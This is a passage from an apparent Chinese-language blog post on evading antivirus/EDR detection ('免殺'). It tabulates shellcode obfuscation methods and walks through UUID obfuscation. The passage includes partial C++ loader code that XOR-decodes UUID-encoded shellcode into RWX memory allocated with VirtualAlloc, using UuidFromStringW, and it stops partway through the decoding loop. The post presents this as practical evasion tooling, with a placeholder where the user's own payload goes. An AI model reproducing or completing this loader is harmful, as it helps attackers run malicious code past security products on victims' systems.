針對 shellcode 混淆(Shellcode Obfuscation) 的實戰手段還有很多,如下表所示:
類型 | 舉例 | 目的 |
---|---|---|
編碼 / 加密 | XOR、AES、RC4、Base64、Poly1305、UUID、IP/MAC | 改變字節特征,避開靜態簽名或 YARA |
結構偽裝 | PE Stub、GIF/PNG 嵌入、RTF OLE、UUID、IP/MAC | 看起來像合法文件/數據,弱化“可執行”標簽 |
控制流混淆 | 偏移、亂序、分段、跳轉鏈、指令變異 | 破壞解碼器/反匯編器的直線流 |
加密手段之前文章寫過,詳見:【免殺】C2免殺技術(三)shellcode加密 ,本文介紹一些其它方式。
UUID Obfuscation
“UUID Obfuscation” 是一種非常實用的 shellcode 混淆與免殺手段,利用 UUID(通用唯一識別碼)的標準格式來編碼惡意 shellcode,使其看起來像正常的標識符,從而繞過靜態特征檢測。
UUID(Universally Unique Identifier)是通用唯一標識符的縮寫,標準格式如下:
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
//例如:b36fa7a3-e8cf-4d99-9db0-9a9b9e3768e1
思路
1、偽裝 shellcode:
把原始或加密的 shellcode 按照 16 字節一組切割,每組轉換為一個 UUID 字符串(或多個 UUID 組合),看起來像合法數據,避免被 AV/EDR 靜態特征識別。
2、還原 shellcode:
在運行時,用如 UuidFromStringA()
等 API 將 UUID 字符串反解為 16 字節的原始數據,重新組合形成完整 shellcode,然后執行。
加載器
#include <Windows.h>
#include <Rpc.h>
#pragma comment(lib, "Rpcrt4.lib")constexpr BYTE XOR_KEY[] = { 'k','u','n' };
constexpr SIZE_T KEY_LEN = sizeof(XOR_KEY);static const wchar_t UUID_BLOB[] = LR"(
//自己的payload
)"; int wmain()
{// 1) 統計塊數, 計算加密大小SIZE_T uuidCount = 0;for (const wchar_t* p = UUID_BLOB; *p; ++p)if (*p == L'\n') ++uuidCount;if (UUID_BLOB[0]) ++uuidCount;const SIZE_T encSize = uuidCount * 16;// 2) 申請 RWX 內存BYTE* execMem = static_cast<BYTE*>(VirtualAlloc(nullptr, encSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE));if (!execMem) return -10;// 3) 分割 blob, 調用 UuidFromStringW 寫入wchar_t* blobCopy = _wcsdup(UUID_BLOB); // 可寫副本if (!blobCopy) return -11;SIZE_T offset = 0;wchar_t* ctx = nullptr;for (wchar_t* tok = wcstok(blobCopy, L"\n\r\t ", &ctx);tok && *tok;tok = wcstok(nullptr, L"\n\r\t ", &ctx)){UUID* dest = reinterpret_cast<UUID*>(execMem + offset);